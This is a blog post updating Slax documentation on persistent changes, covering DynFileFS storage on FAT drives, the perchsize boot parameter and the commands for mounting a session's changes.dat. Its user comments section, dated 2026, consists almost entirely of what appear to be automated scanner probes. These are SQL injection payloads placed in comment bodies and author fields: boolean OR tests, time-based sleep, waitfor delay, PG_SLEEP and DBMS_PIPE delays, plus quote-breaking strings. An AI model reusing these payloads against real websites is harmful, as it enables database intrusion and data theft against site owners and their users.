20

August
2024

Updated documentation for persistent changes

I noticed that the documentation for persistent changes was outdated, so I've updated it to be more accurate. Here is a copy of the text

Persistent changes

Slax, when booted from read-only media such as CD/DVD, stores all system changes in memory only. These changes are lost upon reboot. However, when Slax is booted from writable media like a USB drive, all changes made to the operating system are saved and restored on subsequent boots.

If the writable media uses a FAT filesystem (which is common for USB flash drives), Slax saves persistent changes using a series of files stored within subfolders of the /slax/changes/ directory on your boot device. These subfolders are named sequentially (e.g., /slax/changes/1/, /slax/changes/2/, etc.), each representing a different saved session.

Maximum size of persistent changes on FAT filesystem is 16GB by default, and can be increased by specifying boot parameter perchsize, for example perchsize=64GB. Once the maximum size is increased, the boot parameter does not need to be specified next time.

Storage format for changes on FAT filesystem uses DynFileFS. If the writable media uses a native Linux filesystem such as ext4, the subfolders will contain all modified files directly, without any size limitations.

To access the contents of the changes stored in any particular session on FAT fs, you can use dynfilefs binary, which can be found in /run/initramfs/bin/ directory. This requires two mounting steps.

First, while running Slax, use the following command:

/run/initramfs/bin/@mount.dynfilefs -f /path/to/changes.dat -m /mnt
mount -o loop /mnt/virtual.dat /mnt

The first command will mount the changes as a single virtual file at /mnt/virtual.dat, which acts as a loop device with an XFS filesystem, and the second command mounts the loop device to reveal the actual files. After mounting, you can access the changed files in the /mnt directory. When you're done, remember to unmount twice — once for each mount operation — to fully unmount the changes properly.

User comments
lxbfYeaa 2026-02-24 19:52

555

lxbfYeaa 2026-02-24 19:52

555

lxbfYeaa 2026-02-24 19:52

555

lxbfYeaa 2026-02-24 19:53

555

lxbfYeaa 2026-02-24 19:53

555

lxbfYeaa 2026-02-24 19:53

-1" OR 5*5=25 or "T2sVoB7X"="

lxbfYeaa 2026-02-24 19:53

-1' OR 5*5=25 or 'W3LgVkO7'='

lxbfYeaa 2026-02-24 19:53

-1" OR 5*5=25 --

lxbfYeaa 2026-02-24 19:53

-1' OR 5*5=25 --

lxbfYeaa 2026-02-24 19:53

-1 OR 5*5=25

lxbfYeaa 2026-02-24 19:53

-1 OR 5*5=25 --

lxbfYeaa 2026-02-24 19:53

555

lxbfYeaa 2026-02-24 19:53

555*if(now()=sysdate(),sleep(15),0)

lxbfYeaa 2026-02-24 19:53

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

lxbfYeaa 2026-02-24 19:53

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

lxbfYeaa 2026-02-24 19:53

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

lxbfYeaa 2026-02-24 19:53

555-1; waitfor delay '0:0:15' --

lxbfYeaa 2026-02-24 19:53

555-1); waitfor delay '0:0:15' --

lxbfYeaa 2026-02-24 19:53

555-1 waitfor delay '0:0:15' --

lxbfYeaa 2026-02-24 19:53

555PdYe8RXH'; waitfor delay '0:0:15' --

lxbfYeaa 2026-02-24 19:53

555-1 OR 846=(SELECT 846 FROM PG_SLEEP(15))--

lxbfYeaa 2026-02-24 19:53

555-1) OR 798=(SELECT 798 FROM PG_SLEEP(15))--

lxbfYeaa 2026-02-24 19:53

555-1)) OR 120=(SELECT 120 FROM PG_SLEEP(15))--

lxbfYeaa 2026-02-24 19:53

555KNIAkDUu' OR 167=(SELECT 167 FROM PG_SLEEP(15))--

lxbfYeaa 2026-02-24 19:54

555cYNTE3Wq') OR 847=(SELECT 847 FROM PG_SLEEP(15))--

lxbfYeaa 2026-02-24 19:54

555usREhyDu')) OR 188=(SELECT 188 FROM PG_SLEEP(15))--

lxbfYeaa 2026-02-24 19:54

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

lxbfYeaa 2026-02-24 19:54

555'"

lxbfYeaa 2026-02-24 19:54

555????%2527%2522\'\"

lxbfYeaa 2026-02-24 19:54

@@GQqDI

lxbfYeaa 2026-02-24 19:54

(select 198766*667891)

lxbfYeaa 2026-02-24 19:54

(select 198766*667891 from DUAL)

lxbfYeaa 2026-02-24 19:54

555

lxbfYeaa 2026-02-24 19:54

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

lxbfYeaa 2026-02-24 19:54

555

-1' OR 5*5=25 or '6e7XFssT'=' 2026-02-24 19:54

555

-1" OR 5*5=25 or "247d28UW"=" 2026-02-24 19:54

555

lxbfYeaa 2026-02-24 19:54

555

-1 OR 5*5=25 -- 2026-02-24 19:54

555

-1 OR 5*5=25 2026-02-24 19:54

555

-1' OR 5*5=25 -- 2026-02-24 19:54

555

-1" OR 5*5=25 -- 2026-02-24 19:54

555

if(now()=sysdate(),sleep(15),0) 2026-02-24 19:54

555

lxbfYeaa0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 2026-02-24 19:54

555

lxbfYeaa0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 2026-02-24 19:54

555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 2026-02-24 19:54

555

lxbfYeaa-1 waitfor delay '0:0:15' -- 2026-02-24 19:54

555

lxbfYeaaqlNvDyJX'; waitfor delay '0:0:15' -- 2026-02-24 19:54

555

lxbfYeaaYKPFjlsy' OR 756=(SELECT 756 FROM PG_SLEEP(15))-- 2026-02-24 19:54

555

lxbfYeaaH6Ag8Lvl') OR 271=(SELECT 271 FROM PG_SLEEP(15))-- 2026-02-24 19:54

555

lxbfYeaaTj6VJDCD')) OR 239=(SELECT 239 FROM PG_SLEEP(15))-- 2026-02-24 19:54

555

lxbfYeaa'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 2026-02-24 19:54

555

lxbfYeaa 2026-02-24 19:54

555

lxbfYeaa'" 2026-02-24 19:54

555

lxbfYeaa????%2527%2522\'\" 2026-02-24 19:54

555

@@aCrpP 2026-02-24 19:54

555

(select 198766*667891) 2026-02-24 19:54

555

(select 198766*667891 from DUAL) 2026-02-24 19:54

555

lxbfYeaa 2026-02-24 19:55

555

pHqghUme 2026-03-11 10:01

555

pHqghUme 2026-03-11 10:01

555

pHqghUme 2026-03-11 10:01

555

pHqghUme 2026-03-11 10:01

555

pHqghUme 2026-03-11 10:01

555

pHqghUme 2026-03-11 10:01

-1 OR 5*5=25

pHqghUme 2026-03-11 10:01

-1 OR 5*5=25 --

pHqghUme 2026-03-11 10:01

555

pHqghUme 2026-03-11 10:01

555*if(now()=sysdate(),sleep(15),0)

pHqghUme 2026-03-11 10:01

-1' OR 5*5=25 --

pHqghUme 2026-03-11 10:01

-1" OR 5*5=25 --

pHqghUme 2026-03-11 10:01

-1' OR 5*5=25 or 'aZP2qcx5'='

pHqghUme 2026-03-11 10:01

-1" OR 5*5=25 or "9xFzOofM"="

pHqghUme 2026-03-11 10:02

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme 2026-03-11 10:02

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme 2026-03-11 10:02

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme 2026-03-11 10:02

555-1; waitfor delay '0:0:15' --

pHqghUme 2026-03-11 10:02

555-1); waitfor delay '0:0:15' --

pHqghUme 2026-03-11 10:02

555-1 waitfor delay '0:0:15' --

pHqghUme 2026-03-11 10:02

555wzkhcot4'; waitfor delay '0:0:15' --

pHqghUme 2026-03-11 10:02

555-1 OR 602=(SELECT 602 FROM PG_SLEEP(15))--

pHqghUme 2026-03-11 10:02

555-1) OR 994=(SELECT 994 FROM PG_SLEEP(15))--

pHqghUme 2026-03-11 10:02

555-1)) OR 754=(SELECT 754 FROM PG_SLEEP(15))--

pHqghUme 2026-03-11 10:02

555O5CD9YfT' OR 586=(SELECT 586 FROM PG_SLEEP(15))--

pHqghUme 2026-03-11 10:02

555G5Ut6Wfe')) OR 818=(SELECT 818 FROM PG_SLEEP(15))--

pHqghUme 2026-03-11 10:02

555JMyfMJXH') OR 254=(SELECT 254 FROM PG_SLEEP(15))--

pHqghUme 2026-03-11 10:02

555'"

pHqghUme 2026-03-11 10:02

555????%2527%2522\'\"

pHqghUme 2026-03-11 10:02

@@600ja

pHqghUme 2026-03-11 10:02

(select 198766*667891)

pHqghUme 2026-03-11 10:02

(select 198766*667891 from DUAL)

pHqghUme 2026-03-11 10:02

555

pHqghUme 2026-03-11 10:02

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme 2026-03-11 10:02

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme 2026-03-11 10:02

555

pHqghUme 2026-03-11 10:02

555

-1 OR 5*5=25 -- 2026-03-11 10:02

555

-1 OR 5*5=25 2026-03-11 10:02

555

-1' OR 5*5=25 -- 2026-03-11 10:02

555

-1" OR 5*5=25 -- 2026-03-11 10:02

555

-1' OR 5*5=25 or '7FlervtW'=' 2026-03-11 10:02

555

-1" OR 5*5=25 or "Hn0YnYSD"=" 2026-03-11 10:02

555

if(now()=sysdate(),sleep(15),0) 2026-03-11 10:02

555

pHqghUme0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 2026-03-11 10:02

555

pHqghUme0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 2026-03-11 10:02

555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 2026-03-11 10:02

555

pHqghUme-1 waitfor delay '0:0:15' -- 2026-03-11 10:02

555

pHqghUme7Q6FUKWM'; waitfor delay '0:0:15' -- 2026-03-11 10:02

555

pHqghUmeYyfxRIMY' OR 767=(SELECT 767 FROM PG_SLEEP(15))-- 2026-03-11 10:02

555

pHqghUmeZ5rXQ8Lb') OR 857=(SELECT 857 FROM PG_SLEEP(15))-- 2026-03-11 10:02

555

pHqghUmeBKgyjQZe')) OR 241=(SELECT 241 FROM PG_SLEEP(15))-- 2026-03-11 10:02

555

pHqghUme'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 2026-03-11 10:02

555

pHqghUme 2026-03-11 10:02

555

pHqghUme'" 2026-03-11 10:02

555

pHqghUme????%2527%2522\'\" 2026-03-11 10:02

555

@@2ZBfD 2026-03-11 10:02

555

(select 198766*667891) 2026-03-11 10:02

555

(select 198766*667891 from DUAL) 2026-03-11 10:02

555

pHqghUme 2026-03-11 10:02

555